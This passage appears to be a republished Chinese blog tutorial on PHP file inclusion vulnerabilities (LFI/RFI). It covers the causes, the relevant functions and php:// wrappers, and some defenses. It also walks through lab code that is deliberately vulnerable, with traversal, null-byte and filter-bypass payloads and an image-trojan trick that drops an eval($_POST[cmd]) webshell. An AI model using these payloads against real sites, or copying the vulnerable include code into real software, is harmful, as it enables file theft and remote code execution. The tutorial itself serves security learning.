我的编程空间,编程开发者的网络收藏夹
学习永远不晚

文件包含漏洞

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

文件包含漏洞

目录

🌻一、理论

🍎1.什么是文件包含漏洞?

通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入

🍎2.文件包含漏洞原因

为了代码更灵活,通常会把被包含的文件设置为变量 ,进行动态调用 ,从而导致客户端可以调用任意文件 ,造成文件包含漏洞。动态包含的文件路径参数,客户端可控 web应用对用户的输入没有进行过滤或者严格过滤就带入文件包含函数中执行

🍎3.文件包含函数

函数说明
include()找不到被包含的文件时只产生警告 ,脚本将继续执行
include_once()此语句和 include() 语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含
require()找不到被包含的文件时会产生致命错误,并停止脚本
require_once()此语句和 require()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含

其它用于包含的函数:highlightfile()、 showsource()、 readfile()、 filegetcontents()、 fopen()、file()

🍎4.文件包含漏洞的分类

🥑 4.1本地文件包含(LFI)

指通过相对路径/绝对路径 的方式能打开并包含 本地文件的漏洞,大部分情况遇到的文件包含漏洞都是 LFI用户可以 动态控制变量。

  $filename = $_GET['filename'];  include($filename); ?>

获取系统中的其他文件内容绝对路径 读取本地 host 文件
payload:?filename=C:\Windows\System32\drivers\etc\hosts
相对路径 读取本地 host 文件
payload:?filename=..\..\..\..\..\..\..\..\..\Windows\System32\drivers\etc\hosts
包含图片马
payload:?filename=./test.jpg

🥑4.2远程文件包含(RFI)

指的是能够包含远程服务器上的文件并执行,可以通过 http(s)或者 ftp 等方式,远程加载文件
条件
allow_url_include = On (默认为 OFF,需要在 php.ini 中手动打开)allow_url_fopen = On (是否允许打开远程文件)用户可以动态控制变量

🍎5.php伪协议

协议php版本allow_url_fopenaloow_url_include作用
file://>=5.2off/onoff/on访问本地文件系统
php://input>=5.2off/onoff/on访问请求的原始数据的只读流
zlib://>=5.2off/onoff/on压缩流
data://>=5.2onon数据(RFC2397)
php://filter///php://filter/read=convert.base64-encode/resource=flag.php:是php中独有的一种协议,是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤

(待补充…)

🍎6.文件包含漏洞如何防御?

  • php中使用open_basedir配置限制访问在指定的区域过滤;
  • 过滤特殊字符如(点)/(正斜杠)\(反斜杠);
  • 禁止服务器远程文件包含;
  • 尽量不要使用动态包含,可以在需要包含的页面固定写好.
  • 配置php.ini配置文件
  • 设置黑白名单

🌻二、绕过方式

🍎1、结合文件上传漏洞绕过

     include("../common/header.php");   ?><!-- from https://pentesterlab.com/exercises/php_include_and_post_exploitation/course --><?php hint("will include the arg specified in the GET parameter \"page\""); ?><form action="/LFI-1/index.php" method="GET">    <input type="text" name="page"></form><?phpinclude($_GET["page"]);?>

这种情况直接包含一个存在的文件就会被当做php文件执行
利用绝对路径去读c盘下的敏感信息:
?page=c://boot.ini
结合文件上传漏洞打一套组合拳
思路:例如,你进入了某网站的后台,在修改头像处可上传文件,但是图片上传限制了后缀名jpg/png,那你就可以上传一张jpg或者png的图片马,即在图片中写入php木马,然后上传,留意一下上传的图片位置,如果该站还存在文件包含漏洞,那么你就可以通过文件包含刚刚你上传的图片马获取websehll。
?page=../../../../webshell.jpg
和包含的文件类型没有关系,都会被当做php解析。

🍎2、00截断绕过

     include("../common/header.php");   ?><!-- from http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/ --><?php hint("will include the arg specified in the GET parameter \"library\", appends .php to end, escape with NULL byte %00"); ?><form action="/LFI-2/index.php" method="GET">    <input type="text" name="library"></form><?phpinclude("includes/".$_GET['library'].".php"); ?>

这种情况,如果你包含一个?library=../../../../webshell.php后台得到的是?library=../../../../webshell.php.php,显然这样并不能被解析。
这个时候我们就可以用%00截断?library=../../../../webshell.php%00后台得到的是这样的?library=../../../../webshell.php .php后面那个.php就会被忽略掉了。

🍎3、点加斜杠绕过

     include("../common/header.php");   ?><!-- from http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/ --><?php hint("will include the arg specified in the GET parameter \"file\", looks for .php at end - bypass by apending /. (slash plus dot)"); ?><form action="/LFI-3/index.php" method="GET">    <input type="text" name="file"></form><?phpif (substr($_GET['file'], -4, 4) != '.php') echo file_get_contents($_GET['file']);else echo 'You are not allowed to see source files!'."\n";?>

读源码,我们可以发现,它多了一个判断,即if (substr($_GET['file'], -4, 4) != '.php')这句代码的意思是,取文件的后四位,如果不是.php结尾的就去读取内容,否则输出You are not allowed to see source files!
绕过思路:我们可以在文件名后面加一个点、斜杠或者%00绕过
?file=../../../../webshell.php.
?file=../../../../webshell.php/.
?file=../../../../webshell.php%00
注意:浏览器可能会过滤掉,我们可以用BP抓包修改。
windows文件名不允许包含这些特殊字符,如果你创建一个test.php.得到的是一个test.php后面哪个点会自动抹掉。
在这里插入图片描述

🍎4、去掉后缀名绕过

     include("../common/header.php");   ?><!-- from http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/ --><?php hint("will include the arg specified in the GET parameter \"class\", appends .php to end, defeat with NULL byte %00"); ?><form action="/LFI-4/index.php" method="GET">    <input type="text" name="class"></form><?phpinclude('includes/class_'.addslashes($_GET['class']).'.php');?>

这里关键在于addslashes这个函数
定义和用法
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:

单引号(')双引号(")反斜杠(\)NULL

意思就是将这些危险字符前面加反斜杠\转义掉,是一种预防攻击的方法。
文件包含的时候去掉后缀.php即可
?class=../../../../phpinfo

🍎5、双写点点杠绕过

<!-- from http://hakipedia.com/index.php/Local_File_Inclusion --><?php     include("../common/header.php");   ?><?php hint("will include the arg specified in the GET parameter \"file\", strips prepended \"../\" strings, must encode / with %2f"); ?><form action="/LFI-5/index.php" method="GET">    <input type="text" name="file"></form><?php   $file = str_replace('../', '', $_GET['file']);   if(isset($file))   {       include("pages/$file");   }   else   {       include("index.php");   }?>

通过源码可以看到,他把../替换成了空,这一句:$file = str_replace('../', '', $_GET['file']);
绕过思路:在两个点之间加../
?file=..././..././..././..././phpinfo.php

🍎6、method为POST

<!-- from https://pentesterlab.com/exercises/php_include_and_post_exploitation/course --><?php hint("will include the arg specified in the POST parameter \"page\"");  ?><form action="/LFI-6/index.php" method="POST">    <input type="text" name="page"></form><?phpinclude($_POST["page"]);?>

只不过是提交方式方便,绕过思路同GET。
绕过思路:上传点如果上传一张图片,

在这里插入图片描述
内容为如下,当我们文件包含tupian.jpg的时候,会在同一目录下(这里的目录是当前根目录)生成一个shell.php的文件,内容为一句话木马

 fputs(fopen('shell.php' 'w');<?php eval($_POST[cmd])?>');?>

文件包含:
?page=../../../../tupian.jpg
然后菜刀连接。

🍎7、包含日志文件

🌻三、待补充

你有什么补充说明的,欢迎评论区留言讨论!

来源地址:https://blog.csdn.net/qq_45697116/article/details/124575521

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

文件包含漏洞

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

PHP文件包含哪些漏洞

这篇文章主要介绍了PHP文件包含哪些漏洞的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇PHP文件包含哪些漏洞文章都会有所收获,下面我们一起来看看吧。漏洞描述文件包含漏洞的产生原因是在通过PHP的函数引入文件时,
2023-06-30

php中什么文件包含漏洞

这篇文章将为大家详细讲解有关php中什么文件包含漏洞,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。1、LFI本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是
2023-06-15

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录